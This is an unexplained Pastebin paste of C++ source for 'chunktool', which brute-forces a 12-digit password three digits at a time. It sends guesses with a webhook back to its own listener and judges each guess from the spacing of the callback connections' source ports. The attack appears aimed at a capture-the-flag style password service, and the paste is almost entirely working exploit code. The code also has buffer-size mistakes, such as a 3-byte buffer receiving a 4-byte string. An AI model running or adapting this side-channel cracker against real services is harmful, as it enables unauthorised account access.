Guest User

Untitled

a guest
Dec 12th, 2018
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.21 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. #include <cstdlib>
  5. #include <cmath>
  6. #include <string>
  7. #include <pthread.h>
  8.  
  9. #include <limits.h>
  10. #include <curl/curl.h>
  11. #include <curl/easy.h>
  12.  
  13. #include <sys/types.h>
  14. #include <sys/socket.h>
  15. #include <netinet/in.h>
  16. #include <netdb.h>
  17. #include <arpa/inet.h>
  18.  
  19. using namespace std;
  20.  
  21. struct sieveEntry {
  22. string number;
  23. int min;
  24. int max;
  25. int tries;
  26. bool good;
  27. };
  28.  
  29. struct curlWrite {
  30. const char *readptr;
  31. int sizeleft;
  32. };
  33.  
  34. struct ThreadData {
  35. int listenPort;
  36. int current;
  37. sieveEntry *sieve;
  38. volatile bool gogogo;
  39. };
  40.  
  41. static size_t readCallback(void *ptr, size_t size, size_t nmemb, void *userp) {
  42. struct curlWrite *dataWrite = (struct curlWrite *)userp;
  43.  
  44. if (size*nmemb < 1)
  45. return 0;
  46.  
  47. if (dataWrite->sizeleft) {
  48. *(char *)ptr = dataWrite->readptr[0];
  49. dataWrite->readptr++;
  50. dataWrite->sizeleft--;
  51. return 1;
  52. }
  53.  
  54. return 0;
  55. }
  56.  
  57. string chunksToString(string chunks[4]) {
  58. return chunks[0] + chunks[1] + chunks[2] + chunks[3];
  59. }
  60.  
  61. int createSieve(sieveEntry *sieve, int start, int end) {
  62. //string sieve[end-start+1];
  63.  
  64. for (int i = start; i < end; i++) {
  65. char chunk[3];
  66. sprintf(chunk, "%03d", i);
  67. sieve[i] = {chunk, INT_MAX, INT_MIN, 0, true};
  68. }
  69. return 0;
  70. }
  71.  
  72.  
  73. void *listenForConnections(void *threadArg) {
  74.  
  75. struct ThreadData *data;
  76. data = (struct ThreadData *) threadArg;
  77.  
  78. struct sockaddr_storage their_addr;
  79. socklen_t addr_size;
  80. struct addrinfo hints, *res;
  81. int sockfd, new_fd;
  82. char s[INET6_ADDRSTRLEN];
  83.  
  84. memset(&hints, 0, sizeof hints);
  85. hints.ai_family = AF_UNSPEC;
  86. hints.ai_socktype = SOCK_STREAM;
  87. hints.ai_flags = AI_PASSIVE;
  88.  
  89. char lPort[6];
  90. sprintf(lPort, "%d", data->listenPort);
  91. getaddrinfo(NULL, lPort, &hints, &res);
  92. sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
  93. bind(sockfd, res->ai_addr, res->ai_addrlen);
  94. listen(sockfd, 10);
  95.  
  96. int lastSeenPort = INT_MAX;
  97. //accept
  98. while(1) {
  99. addr_size = sizeof their_addr;
  100. new_fd = accept(sockfd, (struct sockaddr *) &their_addr, &addr_size);
  101. if (new_fd == -1) {
  102. continue;
  103. }
  104.  
  105. getpeername(sockfd, (struct sockaddr *)&their_addr, &addr_size);
  106. int theirPort = ntohs((((struct sockaddr_in*)((struct sockaddr *)&their_addr))->sin_port));
  107. printf("%d\n", theirPort);
  108. close(new_fd);
  109.  
  110. int diff = abs(theirPort - lastSeenPort);
  111. if (data->sieve[data->current].min > diff) {
  112. data->sieve[data->current].min = diff;
  113. }
  114. if (data->sieve[data->current].max < diff) {
  115. data->sieve[data->current].max = diff;
  116. }
  117. data->sieve[data->current].tries++;
  118.  
  119. printf("[try %d] %d: diff = %d, port is now %d, was %d\n", data->sieve[data->current].tries, data->current, diff, theirPort, lastSeenPort);
  120. lastSeenPort = theirPort;
  121. data->gogogo = true;
  122. }
  123. }
  124.  
  125. int main(int argc, char *argv[]) {
  126. if (argc != 8) {
  127. printf("Usage is: chunktool <listen-port> <chunkservice> <known-string> <chunk-number> <start> <end> <max-repeats>\n");
  128. return 1;
  129. }
  130.  
  131. int listenPort = atoi(argv[1]);
  132. string chunkServer = argv[2];
  133.  
  134. string knownString = argv[3];
  135. int chunkNumber = atoi(argv[4]);
  136.  
  137. int chunkStart = atoi(argv[5]);
  138. int chunkEnd = atoi(argv[6]);
  139. int maxRepeats = atoi(argv[7]);
  140.  
  141. string chunks[4];
  142. chunks[0] = knownString.substr(0,3);
  143. chunks[1] = knownString.substr(3,3);
  144. chunks[2] = knownString.substr(6,3);
  145. chunks[3] = knownString.substr(9,3);
  146.  
  147. printf("Starting chunktool using the following configuration\n");
  148. printf("=========\n");
  149. printf("Listen Port: %d\n", listenPort);
  150. printf("Chunk Server: %s\n", chunkServer.c_str());
  151. printf("Chunk Data:\n");
  152. printf(" Known Data: %s-%s-%s-%s\n", chunks[0].c_str(), chunks[1].c_str(), chunks[2].c_str(), chunks[3].c_str());
  153. printf(" Chunk Number: %d\n", chunkNumber);
  154. printf(" Start: %d\n", chunkStart);
  155. printf(" End: %d\n", chunkEnd);
  156. printf("Max Repeats: %d\n", maxRepeats);
  157.  
  158. sieveEntry sieve[chunkEnd];
  159. createSieve(sieve, chunkStart, chunkEnd);
  160.  
  161. int lastPort = 0;
  162. int disqualifyingMinimum = 1+chunkNumber;
  163.  
  164. pthread_t listenPortThread;
  165.  
  166. struct ThreadData sharedData;
  167. sharedData.listenPort = listenPort;
  168. sharedData.sieve = sieve;
  169. sharedData.current = 0;
  170.  
  171. int threadReturn = pthread_create(&listenPortThread, NULL, listenForConnections, (void *)&sharedData);
  172.  
  173. CURL *curl;
  174. curl = curl_easy_init();
  175. for(int c=chunkStart; c <chunkEnd; c++) {
  176. sharedData.current = c;
  177. for (int k =0; k < maxRepeats; k++) {
  178. // do http call
  179. CURLcode res;
  180.  
  181. chunks[chunkNumber-1]=sieve[c].number.c_str();
  182.  
  183. char data[61];
  184. char contentLengthHeader[18];
  185. sprintf(data, "{\"password\": \"%s\", \"webhooks\": [\"127.0.0.1:%d\"]}", chunksToString(chunks).c_str(), listenPort);
  186. struct curlWrite cWrite;
  187. cWrite.readptr = data;
  188. cWrite.sizeleft = strlen(data);
  189. sprintf(contentLengthHeader, "Content-Length: %d", int(strlen(data)));
  190.  
  191. if (!curl) {
  192. curl = curl_easy_init();
  193. }
  194. if(curl) {
  195. curl_easy_setopt(curl, CURLOPT_URL, chunkServer.c_str());
  196. curl_easy_setopt(curl, CURLOPT_POST, 1L);
  197. curl_easy_setopt(curl, CURLOPT_READFUNCTION, readCallback);
  198. curl_easy_setopt(curl, CURLOPT_READDATA, &cWrite);
  199. struct curl_slist *header = NULL;
  200.  
  201. header = curl_slist_append(header, "Content-Type: application/x-www-form-urlencoded");
  202. header = curl_slist_append(header, "Connection: Keep-Alive");
  203. header = curl_slist_append(header, contentLengthHeader);
  204. curl_easy_setopt(curl, CURLOPT_HTTPHEADER, header);
  205. curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, NULL);
  206. FILE *pagefile;
  207. pagefile= fopen("curl-output", "wb");
  208. curl_easy_setopt(curl, CURLOPT_WRITEDATA, pagefile);
  209.  
  210. curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
  211.  
  212. sharedData.gogogo = false;
  213. res = curl_easy_perform(curl);
  214. if (res != CURLE_OK) {
  215. fprintf(stderr, "curl_easy_perform() failed %s\n", curl_easy_strerror(res));
  216. }
  217. fclose(pagefile);
  218. }
  219. while (sharedData.gogogo == false ){}
  220. if (sharedData.sieve[c].min <= disqualifyingMinimum) {
  221. printf("[try %d] DQ %d due to minimum difference, difference %d - %s\n", k+1, c, sharedData.sieve[c].min, chunksToString(chunks).c_str());
  222. sharedData.sieve[c].good = false;
  223. break;
  224. }
  225. }
  226. }
  227. curl_easy_cleanup(curl);
  228.  
  229. printf("Remaining Numbers\n");
  230. printf("=================\n");
  231. for(int c = chunkStart; c < chunkEnd; c++) {
  232. if (sharedData.sieve[c].good) {
  233. printf("%s\n", sharedData.sieve[c].number.c_str());
  234. }
  235. }
  236.  
  237. exit(1);
  238. }
Add Comment
Please, Sign In to add comment